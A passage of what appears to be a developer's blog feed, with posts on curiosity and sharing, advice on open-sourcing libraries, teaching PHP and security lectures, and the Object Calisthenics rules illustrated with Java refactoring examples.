sound cool to you. You enjoy learning new things and you try to keep you up to
date, even on things that you donāt use to do.</p>
<p>Also, an interesting point about <a href="https://en.wikipedia.org/wiki/Sponge">sponges as
animals</a> is that they <strong>filter the water
they absorb</strong>. That is how they <strong>feed</strong> themselves. It is similar to you when
you sort all the information you get. You certainly donāt agree with everything
you read. Being able to distinguish useful information is tricky though, and it
depends on various parameters such as the context in which you are living,
tastes, aspirations, etc. But I am digressingā¦</p>
<p>Behaving like a sponge is not only about swallowing and filtering information.</p>
<h2 id="sharing">Sharing</h2>
<p>As I said, a sponge is not only about holding water-based solutions. You can
<strong>squeeze sponges in order to get the absorbed water</strong> (please, donāt do that
with animals!). That is the second characteristic of a sponge, it is able to
return what it contains.</p>
<p>You love <strong>sharing</strong> things you learned, either by talking to your friends,
writing, teaching, tweeting, etc. For instance, I read a lot of RSS feeds and
weekly mailing lists and I tend to tweet about things that I consider relevant.
<a href="/2013/06/07/teaching-is-the-best-way-to-learn/">I also teach at the University</a>
from time to time.</p>
<p>For me personally, it is not too different than the
<a href="/2012/01/16/did-i-tell-you-open-source-was-awesome/">Open</a>
<a href="/2013/07/04/on-open-sourcing-libraries/">Source</a> world. When I start to use an
Open Source project, I learn about its internals and very often I contribute
back (in various ways).</p>
<h2 id="conclusion">Conclusion</h2>
<p>Being a sponge is all about <strong>learning</strong> and <strong>reading</strong> a lot, <em>i.e.</em> being
interested in plenty of topics, and then <strong>being able to share relevant
information</strong>.</p>
<p>Is it bad? <em>No.</em> I believe that I am lucky, and you should too. Being curious is
important, being able to communicate clearly is even more important! No matter
how technically āstrongā you are, if you are not able to explain what you are
doing or if you canāt discuss with your teammates, you are certainly not a āgood
fitā for most teams.</p>
<p>Be curious, learn new things, then talk to your teammates. You will become more
valuable over time. People will also naturally come to you to seek advice or
simply share their new shiny things with you.</p>
On Open Sourcing Libraries2013-07-04T00:00:00+00:00https://williamdurand.fr/2013/07/04/on-open-sourcing-libraries<p>Open sourcing a library is easy, it is just a matter of seconds. All you need is
a public repository hosted somewhere (<a href="https://github.com/">GitHub</a>,
<a href="https://bitbucket.org/">Bitbucket</a>, etc.) right? <em>Nope!</em> Actually, it would be
better for everyone if you would <strong>add some love to your new shiny library</strong> you
just made publicly available. Letās see how to do that.</p>
<h2 id="readme">README</h2>
<p>The <code class="language-plaintext highlighter-rouge">README</code> file is a <strong>first-class citizen</strong> in your project. You MUST have
it! This file MUST contain the <strong>name</strong>, and a (short) <strong>description</strong> of your
library. See this description section as an <strong>elevator pitch</strong>.</p>
<p>Then comes the <strong>Usage</strong> section. Describe how to use your library, with both
words and code snippets. Add screenshots or GIFs. Be as exhaustive as you can.
This is your projectās <strong>documentation</strong>, and most of the time for libraries,
this will be the only documentation you will provide.</p>
<p>Writing the <strong>Usage</strong> part first is not a random choice. Your <code class="language-plaintext highlighter-rouge">README</code> file
should blow your readerās mind, so that they will use your library and
contribute back (or not).</p>
<p>The third section you MUST include is the <strong>Installation</strong> one. This section
explains how to quickly install your library, from a <em>user</em> point of view. If
you have more than one way to install your project, describe the one you
consider the best first, and then explain the alternatives.</p>
<p>You can add an optional <strong>Requirements</strong> section like <em>Depends on X version Y</em>.</p>
<p>The fourth required section is <strong>Contributing</strong>. This can be replaced by the use
of a <code class="language-plaintext highlighter-rouge">CONTRIBUTING</code> file though. Explain <strong>how to hack your library</strong>, how to
report bugs or how to submit feature requests. It is important to be exhaustive
here.
<strong>Explain the rules</strong> to avoid commenting every single line in Pull Requests you
receive. Point contributors to the right tools such as linters or compilers. For
instance, here is <a href="https://github.com/willdurand/Hateoas/blob/master/CONTRIBUTING.md">my standard <code class="language-plaintext highlighter-rouge">CONTRIBUTING</code> file for PHP projects</a>.</p>
<p>You MUST add a <strong>Testing</strong> section too. Explain <strong>how to set up the test suite</strong>,
how to run the functional tests, and the tools that people may have to install.</p>
<p>Optionally, add a <strong>Credits</strong> section if you use third-party things or if you
want to list your contributors (that could be an <strong>Authors</strong> section though).</p>
<p>You MUST add a <a href="http://contributor-covenant.org/">Contributor Code of Conduct</a>
because the lack of diversity in Open Source is not acceptable, and this is an
easy way to begin addressing this problem. Unacceptable behaviors have to be
banned and unfortunately, we have to make this statement <strong>really</strong> explicit,
for instance by adding a <code class="language-plaintext highlighter-rouge">CODE_OF_CONDUCT.md</code> file.</p>
<p>Last but not the least, add a <strong>License</strong> section!</p>
<p>Here is a template:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>project-x
=========
project-x is a better way to achieve this and that, by leveraging the new API,
blablabla.
## Usage
...
## Installation
...
## Requirements
...
## Contributing
See CONTRIBUTING file.
## Running the Tests
...
## Credits
...
## Contributor Code of Conduct
Please note that this project is released with a [Contributor Code of
Conduct](http://contributor-covenant.org/). By participating in this project
you agree to abide by its terms. See CODE_OF_CONDUCT file.
## License
project-x is released under the MIT License. See the bundled LICENSE file for
details.
</code></pre></div></div>
<p>As you can see, I introduced two files in this template: <code class="language-plaintext highlighter-rouge">LICENSE</code>, and
<code class="language-plaintext highlighter-rouge">CONTRIBUTING</code>. I already covered the <code class="language-plaintext highlighter-rouge">CONTRIBUTING</code> file while describing
the <strong>Contributing</strong> section. The <code class="language-plaintext highlighter-rouge">LICENSE</code> file contains the license you will
choose for your project, but which license?</p>
<h2 id="license">License</h2>
<p>I wonāt compare all licenses, browse <a href="http://www.tldrlegal.com/">tl;drLegal</a>
instead. It provides useful information related to Open Source licenses, with
simple words.</p>
<p>I tend to use the <a href="http://www.tldrlegal.com/license/mit-license">MIT license</a> as
it is very liberal. My advice here is to <strong>look at your community</strong>, and choose
the most appropriate one. For example, in the Symfony2 (a PHP Framework)
community, most of the related projects (bundles) are released under the MIT
license. However, Java projects are often released under the <a href="http://www.tldrlegal.com/license/apache-license-2.0">Apache License
2.0</a>.</p>
<p>According to recent reports, <a href="http://www.theregister.co.uk/2013/04/18/github_licensing_study/">most GitHub projects
donāt have an Open Source
license</a>. That
is bad! You MUST have a license, even if it is the <a href="http://en.wikipedia.org/wiki/Beerware">Beerware
license</a>.</p>
<p>As mentioned on <a href="https://news.ycombinator.com/item?id=5990836">Hacker News</a>,
<a href="https://news.ycombinator.com/item?id=5992270">choose your license carefully</a>.
Also, <a href="https://news.ycombinator.com/item?id=5992428">donāt make up your own or just state that itās public domain. Public domain
is actually not a well-defined concept internationally, and means different things
in different countries</a>.</p>
<p>Even if you now have a well-documented library and a license, you canāt dominate
the world yet. In the following, I give an overview of what I consider important
in Open Source projects.</p>
<h2 id="write-tests--automate">Write Tests & Automate</h2>
<p>Open Source projects are a way to write beautiful code as there are no deadlines,
and no ācustomersā. Keep in mind that your projects show what you are able to do.
As a developer, <strong>your library is your business card</strong>.</p>
<p><strong>Write tests</strong>, a lot! How do you expect people to contribute to your library if
you donāt provide a test suite? So, write tests, and use <a href="https://travis-ci.org/">Travis
CI</a>. It is all about adding a <code class="language-plaintext highlighter-rouge">.travis.yml</code> file
describing how to run your tests. It is another way to document how to run the
tests.</p>
<p>Add a <a href="http://about.travis-ci.org/docs/user/status-images/">status image</a> to your
<code class="language-plaintext highlighter-rouge">README</code> file too.</p>
<p>Take a look at online tools such as <a href="https://scrutinizer-ci.com">Scrutinizer</a> for
PHP and JavaScript, or <a href="http://www.puppetlinter.com/">Puppet Linter</a>. Automate
as much as you can.</p>
<h2 id="be-standard">Be Standard</h2>
<p>It is important to <strong>use the right tools</strong> for your library. Look at your
community again, and choose the tools people tend to use. In PHP, we use
<a href="http://getcomposer.org/">Composer</a> as dependency manager. Donāt waste your time
with PEAR or anything else, use Composer. If you write a Node.js library,
register it on <a href="https://npmjs.org/">npm</a>. For Ruby developers, distribute your
library as a <a href="http://guides.rubygems.org/make-your-own-gem/">gem</a>. For C#
developers, use <a href="http://nuget.org/">NuGet</a>.</p>
<p>Another example, in Symfony2 it is considered good practice to add documentation
in <code class="language-plaintext highlighter-rouge">Resources/doc</code>. It is a convention. <strong>Donāt duplicate your documentation</strong>.
Add a link to quickly jump to this folder on your <code class="language-plaintext highlighter-rouge">README</code> file instead.</p>
<h2 id="managing-issues--releases">Managing Issues & Releases</h2>
<p><a href="https://github.com/">GitHub</a>,
<a href="http://www.codeplex.com/">CodePlex</a>, or whatever you want, they all provide an
issue tracker. Use it!</p>
<p>If you use GitHub, donāt waste your time with the Wiki. I never found a decent
workflow. Either use the <code class="language-plaintext highlighter-rouge">README</code> file for your documentation, or use <a href="https://readthedocs.org/">Read The
Docs</a> to host it in case you have extensive
documentation. Use GitHub Issues to manage milestones, and rely on labels to
sort your issues.</p>
<p>Also, try to reply to all issues, as soon as possibleā¦ But <a href="/2013/02/20/burnout/">be
careful, and manage your time</a>. Be nice with everyone, and
take time to help newcomers. It is worth learning <a href="https://medium.com/p/aaa2a5437d3a">how to maintain a successful
open source project</a>.</p>
<p>Another advice would be to release often by tagging versions periodically.
Talking about versions, please follow the <a href="http://semver.org/">Semantic Versioning
Specification</a>.</p>
<p>Then, maintain a <code class="language-plaintext highlighter-rouge">CHANGELOG</code> file to help your users identify changes. If you
break backward compatibility, write an <code class="language-plaintext highlighter-rouge">UPGRADE</code> file in order to explain how
to upgrade.</p>
<h2 id="you-need-feedback">You Need Feedback!</h2>
<p>The main reason why <a href="https://github.com/willdurand?tab=repositories">I open source a lot of
projects</a> is that I can learn a
lot thanks to user feedback. So you need feedback, I need feedback, everyone
needs feedback! Share your project on Twitter, Hacker News, and so on. Spread
the word! People must know about your project, not because it is awesome, but
because people can comment on it.</p>
<p>Use GitHub pages to create a website for your library, buy a domain if you want.</p>
<p>Remember the world domination plan? That is pretty much all you need to achieve
this goal. We never know!</p>
<h2 id="hire-people">Hire People</h2>
<p>Once you dominate the world, it is important to enroll new people to help you.
That is a terrific experience! And it will give you more time for your other
Open Source projects (also known as your new world domination plans) :-)</p>
<h2 id="conclusion">Conclusion</h2>
<p>Open sourcing a library is not just about publishing the source code. You need
to add a few things to make it usable, and enjoyable. Documenting your projects
shows that you are able to teach, and that you are able to find the right words
to explain something. Also, it shows that you care about what you do.</p>
<p>Donāt forget to add tests in your library, if you donāt do that at work, do it
at home. And donāt forget the license too, no excuse!</p>
<p>It is really cool to open source projects, but avoid the <a href="http://en.wikipedia.org/wiki/Not_invented_here">NIH
syndrome</a>. Contribute as much as
you can, open source things that donāt exist.</p>
<h2 id="tldr">TL;DR</h2>
<p>Your library/project:</p>
<ul>
<li>MUST have a <code class="language-plaintext highlighter-rouge">README</code> file including a name, a description, and the following
sections: <strong>Usage</strong>, <strong>Installation</strong>, <strong>Contributing</strong>, <strong>Testing</strong> and
<strong>License</strong>;</li>
<li>MUST add a Contributor Code of Conduct;</li>
<li>MUST have a <strong>license</strong> that is visible;</li>
<li>MUST be tested;</li>
<li>MUST be standard or MUST fit your community habits;</li>
</ul>
<p>You:</p>
<ul>
<li>NEED feedback;</li>
<li>MUST be nice;</li>
<li>SHOULD enroll people.</li>
</ul>
Teaching is the best way to learn2013-06-07T00:00:00+00:00https://williamdurand.fr/2013/06/07/teaching-is-the-best-way-to-learn<p>Earlier this year, I gave lectures to undergraduate students at IUT de
Clermont-Fd (France) for the first time. I taught <strong>web development</strong> (using
PHP) (<a href="https://edu.williamdurand.fr/php-slides/">slides</a> &
<a href="https://github.com/willdurand-edu/php-slides">sources</a>), and <strong>security</strong>,
mainly focused on Web/APIs security
(<a href="https://edu.williamdurand.fr/security-slides/">slides</a> &
<a href="https://github.com/willdurand-edu/security-slides">sources</a>).</p>
<p>I introduced not only general concepts and best practices in web development but
also tools such as <a href="https://git-scm.com">Git</a>, <a href="https://www.vim.org/">Vim</a>, <a href="https://www.vagrantup.com">Vagrant</a>, <a href="https://puppetlabs.com">Puppet</a>, and <a href="https://github.com">GitHub</a>.
Each student worked with a <a href="https://github.com/willdurand-edu/php-vm">Virtual
Machine</a> so that they could do
whatever they wanted to. Except a few issues, it was really interesting because
pushing updates to all students at once was rather easy for me. The workflow was
pretty straightforward. All students had to do was running <code class="language-plaintext highlighter-rouge">git pull && vagrant
up</code>.</p>
<p>Students wrote their own micro-framework in PHP, relying on components such as
the <a href="https://symfony.com">Symfony</a> ones and managed with <a href="https://getcomposer.org">Composer</a>. They wrote unit tests as
well as functional tests. Some students even published their own code on GitHub.
Most of them did a great job by building a web application combined to a ātrueā
REST API with content negotiation.</p>
<p>As for the <a href="https://edu.williamdurand.fr/security-slides/">security lectures</a>, I
tried to give an overview of well-known security topics, including
<strong>authorization</strong>, <strong>authentication</strong>, some <strong>authentication mechanisms</strong>, and
how to <strong>secure the web</strong>.</p>
<p>Overall, teaching was a really great experience! I learned quite a few tips on
how to be better at teaching. I am used to talk to people at conferences so my
vocabulary was a bit too technical. This was the first thing I had to change
while explaining something to my students. They never did web development
before. Introducing high-level concepts using simple words is not
straightforward but it is a really good exercise for those who want to improve
their communication skills. Also, as I needed to be able to answer various
questions, I had to know my topics āby heartā, including how things worked under
the hood. To be perfectly honest, I studied for hours to be better while
performing in front of the students.</p>
<p>I got positive feedback from students and that felt great given that it was my
first year as a teacher. I enjoyed teaching things that took me years to learn.</p>
Object Calisthenics2013-06-03T00:00:00+00:00https://williamdurand.fr/2013/06/03/object-calisthenics<p>Last month, I gave a talk about <a href="http://williamdurand.fr/object-calisthenics-slides/">Object
Calisthenics</a> at
<a href="http://clermontech.org">Clermontāech</a>ās
<a href="http://clermontech.org/api-hours/api-hour-2.html">APIHourĀ #2</a>, a local
developer group based in Clermont-Ferrand (France).</p>
<p>I discovered <strong>Object Calisthenics</strong> almost two years ago, but I wasnāt
open-minded enough to give them a try. A year ago, Guilherme Blanco and I were
drinking beers in Paris. He told me that Rafael Dohms and him ported the concept
of Object Calisthenics to PHP. That was awesome, and I decided to learn,
understand, and try these rules. I am now convinced that these rules are really
helpful, and that trying to respect these rules help you write <strong>better Oriented
Object code</strong>.</p>
<blockquote>
<p>Cal ā¢ is ā¢ then ā¢ ics - /ĖkalÉsĖTHeniks/</p>
</blockquote>
<p>Object Calisthenics are <strong>programming exercises</strong>, formalized as a set of <strong>9
rules</strong> invented by Jeff Bay in his book <a href="http://pragprog.com/book/twa/thoughtworks-anthology">The ThoughtWorks
Anthology</a>. The word
<em>Object</em> is related to Object Oriented Programming. The word <em>Calisthenics</em>
is derived from greek, and means <strong>exercises</strong> under the context of gymnastics.
By trying to follow these rules as much as possible, you will naturally change
how you write code. It doesnāt mean you have to follow all these rules, all the
time. Find your balance with these rules, use some of them only if you feel
comfortable with them.</p>
<p>These rules focus on <strong>maintainability</strong>, <strong>readability</strong>, <strong>testability</strong>,
and <strong>comprehensibility</strong> of your code. If you already write code that is
maintainable, readable, testable, and comprehensible, then these rules will
help you write code that is more maintainable, more readable, more testable,
and more comprehensible.</p>
<p>In the following, I will review each of these 9 rules listed below:</p>
<ol>
<li><a href="#1-only-one-level-of-indentation-per-method">Only One Level Of Indentation Per
Method</a></li>
<li><a href="#2-dont-use-the-else-keyword">Donāt Use The ELSE Keyword</a></li>
<li><a href="#3-wrap-all-primitives-and-strings">Wrap All Primitives And Strings</a></li>
<li><a href="#4-first-class-collections">First Class Collections</a></li>
<li><a href="#5-one-dot-per-line">One Dot Per Line</a></li>
<li><a href="#6-dont-abbreviate">Donāt Abbreviate</a></li>
<li><a href="#7-keep-all-entities-small">Keep All Entities Small</a></li>
<li><a href="#8-no-classes-with-more-than-two-instance-variables">No Classes With More Than Two Instance
Variables</a></li>
<li><a href="#9-no-getterssettersproperties">No Getters/Setters/Properties</a></li>
</ol>
<h2 id="1-only-one-level-of-indentation-per-method">1. Only One Level Of Indentation Per Method</h2>
<p>Having <strong>too many levels of indentation</strong> in your code <strong>is often bad for
readability</strong>, and maintainability. Most of the time, you canāt easily
understand the code without <em>compiling</em> it in your head, especially if you have
various conditions at different level, or a loop in another loop, as shown in
this example:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">class</span> <span class="nc">Board</span> <span class="o">{</span>
<span class="kd">public</span> <span class="nc">String</span> <span class="nf">board</span><span class="o">()</span> <span class="o">{</span>
<span class="nc">StringBuilder</span> <span class="n">buf</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">StringBuilder</span><span class="o">();</span>
<span class="c1">// 0</span>
<span class="k">for</span> <span class="o">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span> <span class="n">i</span> <span class="o"><</span> <span class="mi">10</span><span class="o">;</span> <span class="n">i</span><span class="o">++)</span> <span class="o">{</span>
<span class="c1">// 1</span>
<span class="k">for</span> <span class="o">(</span><span class="kt">int</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span> <span class="n">j</span> <span class="o"><</span> <span class="mi">10</span><span class="o">;</span> <span class="n">j</span><span class="o">++)</span> <span class="o">{</span>
<span class="c1">// 2</span>
<span class="n">buf</span><span class="o">.</span><span class="na">append</span><span class="o">(</span><span class="n">data</span><span class="o">[</span><span class="n">i</span><span class="o">][</span><span class="n">j</span><span class="o">]);</span>
<span class="o">}</span>
<span class="n">buf</span><span class="o">.</span><span class="na">append</span><span class="o">(</span><span class="s">"\n"</span><span class="o">);</span>
<span class="o">}</span>
<span class="k">return</span> <span class="n">buf</span><span class="o">.</span><span class="na">toString</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<p>In order to follow this rule, you have to split your methods up. Martin Fowler,
in his book <a href="http://martinfowler.com/books/refactoring.html">Refactoring</a>,
introduces the <a href="http://refactoring.com/catalog/extractMethod.html"><strong>Extract
Method</strong></a> pattern, which is
exactly what you have to do/use.</p>
<p>You wonāt reduce the number of lines of code, but you will <strong>increase
readability</strong> in a significant way:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">class</span> <span class="nc">Board</span> <span class="o">{</span>
<span class="kd">public</span> <span class="nc">String</span> <span class="nf">board</span><span class="o">()</span> <span class="o">{</span>
<span class="nc">StringBuilder</span> <span class="n">buf</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">StringBuilder</span><span class="o">();</span>
<span class="n">collectRows</span><span class="o">(</span><span class="n">buf</span><span class="o">);</span>
<span class="k">return</span> <span class="n">buf</span><span class="o">.</span><span class="na">toString</span><span class="o">();</span>
<span class="o">}</span>
<span class="kd">private</span> <span class="kt">void</span> <span class="nf">collectRows</span><span class="o">(</span><span class="nc">StringBuilder</span> <span class="n">buf</span><span class="o">)</span> <span class="o">{</span>
<span class="k">for</span> <span class="o">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span> <span class="n">i</span> <span class="o"><</span> <span class="mi">10</span><span class="o">;</span> <span class="n">i</span><span class="o">++)</span> <span class="o">{</span>
<span class="n">collectRow</span><span class="o">(</span><span class="n">buf</span><span class="o">,</span> <span class="n">i</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="kd">private</span> <span class="kt">void</span> <span class="nf">collectRow</span><span class="o">(</span><span class="nc">StringBuilder</span> <span class="n">buf</span><span class="o">,</span> <span class="kt">int</span> <span class="n">row</span><span class="o">)</span> <span class="o">{</span>
<span class="k">for</span> <span class="o">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span> <span class="n">i</span> <span class="o"><</span> <span class="mi">10</span><span class="o">;</span> <span class="n">i</span><span class="o">++)</span> <span class="o">{</span>
<span class="n">buf</span><span class="o">.</span><span class="na">append</span><span class="o">(</span><span class="n">data</span><span class="o">[</span><span class="n">row</span><span class="o">][</span><span class="n">i</span><span class="o">]);</span>
<span class="o">}</span>
<span class="n">buf</span><span class="o">.</span><span class="na">append</span><span class="o">(</span><span class="s">"\n"</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<h2 id="2-dont-use-the-else-keyword">2. Donāt Use The ELSE Keyword</h2>
<p>The <code class="language-plaintext highlighter-rouge">else</code> keyword is well-known as the <code class="language-plaintext highlighter-rouge">if/else</code> construct is built into nearly
all programming languages. Do you remember the last time you saw a nested
conditional? Did you enjoy reading it? I donāt think so, and that is exactly why
it should be avoided. As it is so easy to add a new branch to the existing code
than refactoring it to a better solution, you often end up with a really bad
code.</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kt">void</span> <span class="nf">login</span><span class="o">(</span><span class="nc">String</span> <span class="n">username</span><span class="o">,</span> <span class="nc">String</span> <span class="n">password</span><span class="o">)</span> <span class="o">{</span>
<span class="k">if</span> <span class="o">(</span><span class="n">userRepository</span><span class="o">.</span><span class="na">isValid</span><span class="o">(</span><span class="n">username</span><span class="o">,</span> <span class="n">password</span><span class="o">))</span> <span class="o">{</span>
<span class="n">redirect</span><span class="o">(</span><span class="s">"homepage"</span><span class="o">);</span>
<span class="o">}</span> <span class="k">else</span> <span class="o">{</span>
<span class="n">addFlash</span><span class="o">(</span><span class="s">"error"</span><span class="o">,</span> <span class="s">"Bad credentials"</span><span class="o">);</span>
<span class="n">redirect</span><span class="o">(</span><span class="s">"login"</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<p>An easy way to remove the <code class="language-plaintext highlighter-rouge">else</code> keyword is to rely on the <strong>early return</strong>
solution.</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kt">void</span> <span class="nf">login</span><span class="o">(</span><span class="nc">String</span> <span class="n">username</span><span class="o">,</span> <span class="nc">String</span> <span class="n">password</span><span class="o">)</span> <span class="o">{</span>
<span class="k">if</span> <span class="o">(</span><span class="n">userRepository</span><span class="o">.</span><span class="na">isValid</span><span class="o">(</span><span class="n">username</span><span class="o">,</span> <span class="n">password</span><span class="o">))</span> <span class="o">{</span>
<span class="k">return</span> <span class="nf">redirect</span><span class="o">(</span><span class="s">"homepage"</span><span class="o">);</span>
<span class="o">}</span>
<span class="n">addFlash</span><span class="o">(</span><span class="s">"error"</span><span class="o">,</span> <span class="s">"Bad credentials"</span><span class="o">);</span>
<span class="k">return</span> <span class="nf">redirect</span><span class="o">(</span><span class="s">"login"</span><span class="o">);</span>
<span class="o">}</span>
</code></pre></div></div>
<p>The condition can be either <strong>optimistic</strong>, meaning you have conditions for your
error cases and the rest of your method follows the default scenario,
or you can adopt a <strong>defensive approach</strong> (somehow related to <a href="http://en.wikipedia.org/wiki/Defensive_programming">Defensive
Programming</a>), meaning you
put the default scenario into a condition, and if it is not satisfied, then you
return an error status. This is better as it prevents potential issues you
didnāt think about.</p>
<p>As an alternative, you can <strong>introduce a variable</strong> in order to make your
<strong>return statement parametrizable</strong>. This is not always possible though.</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kt">void</span> <span class="nf">login</span><span class="o">(</span><span class="nc">String</span> <span class="n">username</span><span class="o">,</span> <span class="nc">String</span> <span class="n">password</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">String</span> <span class="n">redirectRoute</span> <span class="o">=</span> <span class="s">"homepage"</span><span class="o">;</span>
<span class="k">if</span> <span class="o">(!</span><span class="n">userRepository</span><span class="o">.</span><span class="na">isValid</span><span class="o">(</span><span class="n">username</span><span class="o">,</span> <span class="n">password</span><span class="o">))</span> <span class="o">{</span>
<span class="n">addFlash</span><span class="o">(</span><span class="s">"error"</span><span class="o">,</span> <span class="s">"Bad credentials"</span><span class="o">);</span>
<span class="n">redirectRoute</span> <span class="o">=</span> <span class="s">"login"</span><span class="o">;</span>
<span class="o">}</span>
<span class="n">redirect</span><span class="o">(</span><span class="n">redirectRoute</span><span class="o">);</span>
<span class="o">}</span>
</code></pre></div></div>
<p>Also, it is worth mentioning that Object Oriented Programming gives us powerful
features, such as <strong>polymorphism</strong>. Last but not least, the <strong>Null Object</strong>,
<strong>State</strong> and <strong>Strategy</strong> patterns may help you as well!</p>
<p>For instance, instead of using <code class="language-plaintext highlighter-rouge">if/else</code> to determine an action based on a
status (e.g. <code class="language-plaintext highlighter-rouge">RUNNING</code>, <code class="language-plaintext highlighter-rouge">WAITING</code>, etc.), prefer the <a href="http://en.wikipedia.org/wiki/State_pattern">State
pattern</a> as it is used to
encapsulate varying behavior for the same routine based on an objectās state
object:</p>
<p class="with-caption"><img src="http://sourcemaking.com/files/sm/images/patterns/State1.gif" alt="" />
<em>Source: <a href="http://sourcemaking.com/design_patterns/state">http://sourcemaking.com/design_patterns/state</a></em></p>
<h2 id="3-wrap-all-primitives-and-strings">3. Wrap All Primitives And Strings</h2>
<p>Following this rule is pretty easy, you simply have to <strong>encapsulate all the
primitives within objects</strong>, in order to avoid the <a href="http://c2.com/cgi/wiki?PrimitiveObsession"><strong>Primitive
Obsession</strong></a> anti-pattern.</p>
<p>If the variable of your primitive type has a <strong>behavior</strong>, you MUST encapsulate
it. And this is especially true for <strong>Domain Driven Design</strong>. <strong>DDD</strong> describes
<strong>Value Objects</strong> like <code class="language-plaintext highlighter-rouge">Money</code>, or <code class="language-plaintext highlighter-rouge">Hour</code> for instance.</p>
<h2 id="4-first-class-collections">4. First Class Collections</h2>
<p><strong>Any class that contains a collection should contain no other member
variables</strong>. If you have a set of elements and want to manipulate them, create
a class that is dedicated for this set.</p>
<p>Each collection gets wrapped in its own class, so now <strong>behaviors related to the
collection have a home</strong> (e.g. filter methods, applying a rule to each element).</p>
<h2 id="5-one-dot-per-line">5. One Dot Per Line</h2>
<p>This <em>dot</em> is the one you use to call methods in Java, or C# for instance. It
would be an arrow in PHP, but who uses PHP anyway? :D</p>
<p>Basically, the rule says that <strong>you should not chain method calls</strong>. However, it
doesnāt apply to <a href="http://flippinawesome.org/2013/05/20/fluent-apis-and-method-chaining/"><strong>Fluent
Interfaces</strong></a>
and more generally to anything implementing the <a href="http://martinfowler.com/dslCatalog/methodChaining.html">Method Chaining
Pattern</a>
(e.g. a Query Builder).</p>
<p>For other classes, you should respect this rule. It is the direct use of the
<a href="http://c2.com/cgi/wiki?LawOfDemeter">Law of Demeter</a>, saying only <strong>talk to
your immediate friends</strong>, and donāt talk to strangers.</p>
<p>Look at these classes:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">class</span> <span class="nc">Location</span> <span class="o">{</span>
<span class="kd">public</span> <span class="nc">Piece</span> <span class="n">current</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">class</span> <span class="nc">Piece</span> <span class="o">{</span>
<span class="kd">public</span> <span class="nc">String</span> <span class="n">representation</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">class</span> <span class="nc">Board</span> <span class="o">{</span>
<span class="kd">public</span> <span class="nc">String</span> <span class="nf">boardRepresentation</span><span class="o">()</span> <span class="o">{</span>
<span class="nc">StringBuilder</span> <span class="n">buf</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">StringBuilder</span><span class="o">();</span>
<span class="k">for</span> <span class="o">(</span><span class="nc">Location</span> <span class="n">loc</span> <span class="o">:</span> <span class="n">squares</span><span class="o">())</span> <span class="o">{</span>
<span class="n">buf</span><span class="o">.</span><span class="na">append</span><span class="o">(</span><span class="n">loc</span><span class="o">.</span><span class="na">current</span><span class="o">.</span><span class="na">representation</span><span class="o">.</span><span class="na">substring</span><span class="o">(</span><span class="mi">0</span><span class="o">,</span> <span class="mi">1</span><span class="o">));</span>
<span class="o">}</span>
<span class="k">return</span> <span class="n">buf</span><span class="o">.</span><span class="na">toString</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<p>It is ok-ish to have <code class="language-plaintext highlighter-rouge">public</code> attributes in <code class="language-plaintext highlighter-rouge">Piece</code> and <code class="language-plaintext highlighter-rouge">Location</code>. Actually,
having a <code class="language-plaintext highlighter-rouge">public</code> property or a <code class="language-plaintext highlighter-rouge">private</code> one with getter/setter is the same
thing (see <a href="#9-no-getters/setters/properties">Rule 9</a>).</p>
<p>However, the <code class="language-plaintext highlighter-rouge">boardRepresentation()</code> method is awful, take a look at this line:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">buf</span><span class="o">.</span><span class="na">append</span><span class="o">(</span><span class="n">loc</span><span class="o">.</span><span class="na">current</span><span class="o">.</span><span class="na">representation</span><span class="o">.</span><span class="na">substring</span><span class="o">(</span><span class="mi">0</span><span class="o">,</span> <span class="mi">1</span><span class="o">));</span>
</code></pre></div></div>
<p>It accesses a <code class="language-plaintext highlighter-rouge">Location</code>, then its current <code class="language-plaintext highlighter-rouge">Piece</code>, then the <code class="language-plaintext highlighter-rouge">Piece</code>ās
representation on which it performs an action. This is far from <em>One Dot Per
Line</em>.</p>
<p>Fortunately, the <a href="http://c2.com/cgi/wiki?LawOfDemeter">Law of Demeter</a> tells you
to talk to your friends, so letās do that:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">class</span> <span class="nc">Location</span> <span class="o">{</span>
<span class="kd">private</span> <span class="nc">Piece</span> <span class="n">current</span><span class="o">;</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">addTo</span><span class="o">(</span><span class="nc">StringBuilder</span> <span class="n">buf</span><span class="o">)</span> <span class="o">{</span>
<span class="n">current</span><span class="o">.</span><span class="na">addTo</span><span class="o">(</span><span class="n">buf</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<p>Making the instance of <code class="language-plaintext highlighter-rouge">Piece</code> <strong>private</strong> ensures that you wonāt try to do
